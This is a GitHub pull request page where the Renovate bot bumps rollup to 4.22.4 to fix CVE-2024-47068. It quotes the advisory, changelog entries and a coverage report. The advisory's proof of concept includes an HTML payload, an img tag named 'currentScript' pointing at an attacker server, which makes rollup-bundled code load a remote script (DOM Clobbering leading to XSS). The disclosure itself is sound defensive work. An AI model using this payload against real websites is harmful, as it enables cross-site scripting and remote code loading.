search

p3ol / react-access

⚛️ The easiest way to add Poool Access to your React app
MIT License
3 stars 2 forks source link

chore(deps): update dependency rollup to v4.22.4 [security] #952

Open renovate[bot] opened 2 months ago

renovate[bot] commented 2 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 4.18.1 -> 4.22.4 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
    getResolveUrl(
        `'${escapeId(relativePath)}', ${
            umd ? `typeof document === 'undefined' ? location.href : ` : ''
        }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
    );
const getUrlFromDocument = (chunkId: string, umd = false) =>
    `${
        umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
        chunkId
    )}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup) ### [`v4.22.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4224) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.22.3...v4.22.4) *2024-09-21* ##### Bug Fixes - Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context ([#​5671](https://redirect.github.com/rollup/rollup/issues/5671)) ##### Pull Requests - [#​5670](https://redirect.github.com/rollup/rollup/pull/5670): refactor: Use object.prototype to check for reserved properties ([@​YuHyeonWook](https://redirect.github.com/YuHyeonWook)) - [#​5671](https://redirect.github.com/rollup/rollup/pull/5671): Fix DOM Clobbering CVE ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.22.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4223) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.22.2...v4.22.3) *2024-09-21* ##### Bug Fixes - Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies ([#​5669](https://redirect.github.com/rollup/rollup/issues/5669)) ##### Pull Requests - [#​5669](https://redirect.github.com/rollup/rollup/pull/5669): Ensure impure dependencies of pure modules are added ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.22.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4222) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.22.1...v4.22.2) *2024-09-20* ##### Bug Fixes - Revert fix for side effect free modules until other issues are investigated ([#​5667](https://redirect.github.com/rollup/rollup/issues/5667)) ##### Pull Requests - [#​5667](https://redirect.github.com/rollup/rollup/pull/5667): Partially revert [#​5658](https://redirect.github.com/rollup/rollup/issues/5658) and re-apply [#​5644](https://redirect.github.com/rollup/rollup/issues/5644) ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.22.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4221) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.22.0...v4.22.1) *2024-09-20* ##### Bug Fixes - Revert [#​5644](https://redirect.github.com/rollup/rollup/issues/5644) "stable chunk hashes" while issues are being investigated ##### Pull Requests - [#​5663](https://redirect.github.com/rollup/rollup/pull/5663): chore(deps): update dependency inquirer to v11 ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5664](https://redirect.github.com/rollup/rollup/pull/5664): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5665](https://redirect.github.com/rollup/rollup/pull/5665): fix: type in CI file ([@​YuHyeonWook](https://redirect.github.com/YuHyeonWook)) - [#​5666](https://redirect.github.com/rollup/rollup/pull/5666): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) ### [`v4.22.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4220) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.21.3...v4.22.0) *2024-09-19* ##### Features - Add additional known global values to avoid access side effects ([#​5651](https://redirect.github.com/rollup/rollup/issues/5651)) ##### Bug Fixes - Ensure deterministic chunk hash generation despite async renderChunk hook ([#​5644](https://redirect.github.com/rollup/rollup/issues/5644)) - Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away ([#​5658](https://redirect.github.com/rollup/rollup/issues/5658)) ##### Pull Requests - [#​5644](https://redirect.github.com/rollup/rollup/pull/5644): fix: apply final hashes deterministically with stable placeholders set ([@​mattkubej](https://redirect.github.com/mattkubej), [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5646](https://redirect.github.com/rollup/rollup/pull/5646): chore(deps): update dependency [@​mermaid-js/mermaid-cli](https://redirect.github.com/mermaid-js/mermaid-cli) to v11 ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5647](https://redirect.github.com/rollup/rollup/pull/5647): chore(deps): update dependency concurrently to v9 ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5648](https://redirect.github.com/rollup/rollup/pull/5648): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5651](https://redirect.github.com/rollup/rollup/pull/5651): feat: add `AggregateError`, `FinalizationRegistry`, `WeakRef` to knownGlobals ([@​re-taro](https://redirect.github.com/re-taro)) - [#​5653](https://redirect.github.com/rollup/rollup/pull/5653): Fix example selection in REPL ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5657](https://redirect.github.com/rollup/rollup/pull/5657): chore(deps): update dependency vite to v5.4.6 \[security] ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5658](https://redirect.github.com/rollup/rollup/pull/5658): Detect variable reassignments in modules without side effects ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.21.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4213) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.21.2...v4.21.3) *2024-09-12* ##### Bug Fixes - Always respect side effects in left-hand side of optional chain ([#​5642](https://redirect.github.com/rollup/rollup/issues/5642)) - Update stack trace for augmented errors to not hide relevant information ([#​5640](https://redirect.github.com/rollup/rollup/issues/5640)) ##### Pull Requests - [#​5636](https://redirect.github.com/rollup/rollup/pull/5636): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5637](https://redirect.github.com/rollup/rollup/pull/5637): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5640](https://redirect.github.com/rollup/rollup/pull/5640): fix: keep the message of stack up-to-date ([@​TrickyPi](https://redirect.github.com/TrickyPi)) - [#​5642](https://redirect.github.com/rollup/rollup/pull/5642): fix: include left-side effect of optional chaining in the end of hasEffectsAsChainElement ([@​TrickyPi](https://redirect.github.com/TrickyPi)) ### [`v4.21.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4212) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.21.1...v4.21.2) *2024-08-30* ##### Bug Fixes - Handle IIFE/UMD namespace definitions conflicting with a builtin property ([#​5605](https://redirect.github.com/rollup/rollup/issues/5605)) ##### Pull Requests - [#​5605](https://redirect.github.com/rollup/rollup/pull/5605): fix: Wrong namespace property definition ([@​thirumurugan-git](https://redirect.github.com/thirumurugan-git), [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5630](https://redirect.github.com/rollup/rollup/pull/5630): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5631](https://redirect.github.com/rollup/rollup/pull/5631): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5632](https://redirect.github.com/rollup/rollup/pull/5632): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) ### [`v4.21.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4211) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.21.0...v4.21.1) *2024-08-26* ##### Bug Fixes - Ensure `closeWatcher` hook is called when watch mode is aborted via Ctrl+C ([#​5618](https://redirect.github.com/rollup/rollup/issues/5618)) - Do not produce invalid code for `import.meta.url` in compact mode ([#​5624](https://redirect.github.com/rollup/rollup/issues/5624)) - Do not throw when generating chunk names when preserving modules in Windows ([#​5625](https://redirect.github.com/rollup/rollup/issues/5625)) ##### Pull Requests - [#​5591](https://redirect.github.com/rollup/rollup/pull/5591): chore(deps): update dependency [@​types/eslint](https://redirect.github.com/types/eslint) to v9 ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5618](https://redirect.github.com/rollup/rollup/pull/5618): preload the WASM file even though the version is undefined. ([@​TrickyPi](https://redirect.github.com/TrickyPi)) - [#​5619](https://redirect.github.com/rollup/rollup/pull/5619): Call and await closeWatcher hooks on exit signals ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5622](https://redirect.github.com/rollup/rollup/pull/5622): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5624](https://redirect.github.com/rollup/rollup/pull/5624): fix: add space for DOCUMENT_CURRENT_SCRIPT template ([@​TrickyPi](https://redirect.github.com/TrickyPi)) - [#​5625](https://redirect.github.com/rollup/rollup/pull/5625): fix: get the right chunk name for preserve modules in Windows ([@​TrickyPi](https://redirect.github.com/TrickyPi), [@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.21.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4210) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.20.0...v4.21.0) *2024-08-18* ##### Features - Add option to configure directory for virtual modules when preserving modules ([#​5602](https://redirect.github.com/rollup/rollup/issues/5602)) ##### Pull Requests - [#​5602](https://redirect.github.com/rollup/rollup/pull/5602): feat: introduce the virtualDirname option to customize the virtual directory name ([@​TrickyPi](https://redirect.github.com/TrickyPi)) - [#​5607](https://redirect.github.com/rollup/rollup/pull/5607): chore(deps): update typescript-eslint monorepo to v8 (major) ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5608](https://redirect.github.com/rollup/rollup/pull/5608): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5611](https://redirect.github.com/rollup/rollup/pull/5611): chore: fix the `noConflict` option in REPL. ([@​7086cmd](https://redirect.github.com/7086cmd)) - [#​5613](https://redirect.github.com/rollup/rollup/pull/5613): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5614](https://redirect.github.com/rollup/rollup/pull/5614): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) ### [`v4.20.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4200) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.19.2...v4.20.0) *2024-08-03* ##### Features - Allow plugins to specify the original file name when emitting assets ([#​5596](https://redirect.github.com/rollup/rollup/issues/5596)) ##### Pull Requests - [#​5596](https://redirect.github.com/rollup/rollup/pull/5596): Add originalFIleName property to emitted assets ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5599](https://redirect.github.com/rollup/rollup/pull/5599): chore(deps): update dependency eslint-plugin-unicorn to v55 ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5600](https://redirect.github.com/rollup/rollup/pull/5600): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.19.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4192) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.19.1...v4.19.2) *2024-08-01* ##### Bug Fixes - Avoid "cannot get value of null" error when using optional chaining with namespaces ([#​5597](https://redirect.github.com/rollup/rollup/issues/5597)) ##### Pull Requests - [#​5597](https://redirect.github.com/rollup/rollup/pull/5597): Fix retrieval of literal values for chained namespaces ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v4.19.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4191) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.19.0...v4.19.1) *2024-07-27* ##### Bug Fixes - Do not remove parantheses when tree-shaking logical expressions ([#​5584](https://redirect.github.com/rollup/rollup/issues/5584)) - Do not ignore side effects in calls left of an optional chaining operator ([#​5589](https://redirect.github.com/rollup/rollup/issues/5589)) ##### Pull Requests - [#​5584](https://redirect.github.com/rollup/rollup/pull/5584): fix: find whitespace from operator position to start ([@​TrickyPi](https://redirect.github.com/TrickyPi)) - [#​5587](https://redirect.github.com/rollup/rollup/pull/5587): docs: improve command by code-group ([@​thinkasany](https://redirect.github.com/thinkasany), [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5589](https://redirect.github.com/rollup/rollup/pull/5589): Fix side effect detection in optional chains ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5592](https://redirect.github.com/rollup/rollup/pull/5592): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5593](https://redirect.github.com/rollup/rollup/pull/5593): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5594](https://redirect.github.com/rollup/rollup/pull/5594): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) - [#​5595](https://redirect.github.com/rollup/rollup/pull/5595): chore(deps): lock file maintenance ([@​renovate](https://redirect.github.com/renovate)\[bot]) ### [`v4.19.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4190) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v4.18.1...v4.19.0) *2024-07-20* ##### Features - Implement support for decorators ([#​5562](https://redirect.github.com/rollup/rollup/issues/5562)) ##### Bug Fixes - Improve soucemap generation when tree-shaking logical expressions ([#​5581](https://redirect.github.com/rollup/rollup/issues/5581)) ##### Pull Requests - [#​5562](https://redirect.github.com/rollup/rollup/pull/5562): feat: implementing decorator support ([@​TrickyPi](https://redirect.github.com/TrickyPi), [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5570](https://redirect.github.com/rollup/rollup/pull/5570): refactor(finalisers): condition branch ([@​Simon-He95](https://redirect.github.com/Simon-He95), [@​zhangmo8](https://redirect.github.com/zhangmo8)) - [#​5572](https://redirect.github.com/rollup/rollup/pull/5572): Improve chunk and asset type information in docs ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5573](https://redirect.github.com/rollup/rollup/pull/5573): Switch to audit resolver to ignore requirejs vulnerability ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5575](https://redirect.github.com/rollup/rollup/pull/5575): chore(deps): update dependency inquirer to v10 ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5576](https://redirect.github.com/rollup/rollup/pull/5576): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5580](https://redirect.github.com/rollup/rollup/pull/5580): chore(deps): lock file maintenance minor/patch updates ([@​renovate](https://redirect.github.com/renovate)\[bot], [@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​5581](https://redirect.github.com/rollup/rollup/pull/5581): When tree-shaking logical expression, make sure to remove all trailing white-space. ([@​lukastaegert](https://redirect.github.com/lukastaegert))

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

This PR was generated by Mend Renovate. View the repository job log.

codecov[bot] commented 2 months ago

Codecov Report

All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 78.37%. Comparing base (c94df76) to head (27ef2cc).

Additional details and impacted files ```diff @@ Coverage Diff @@ ## master #952 +/- ## ======================================= Coverage 78.37% 78.37% ======================================= Files 7 7 Lines 111 111 Branches 15 15 ======================================= Hits 87 87 - Misses 22 24 +2 + Partials 2 0 -2 ```

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.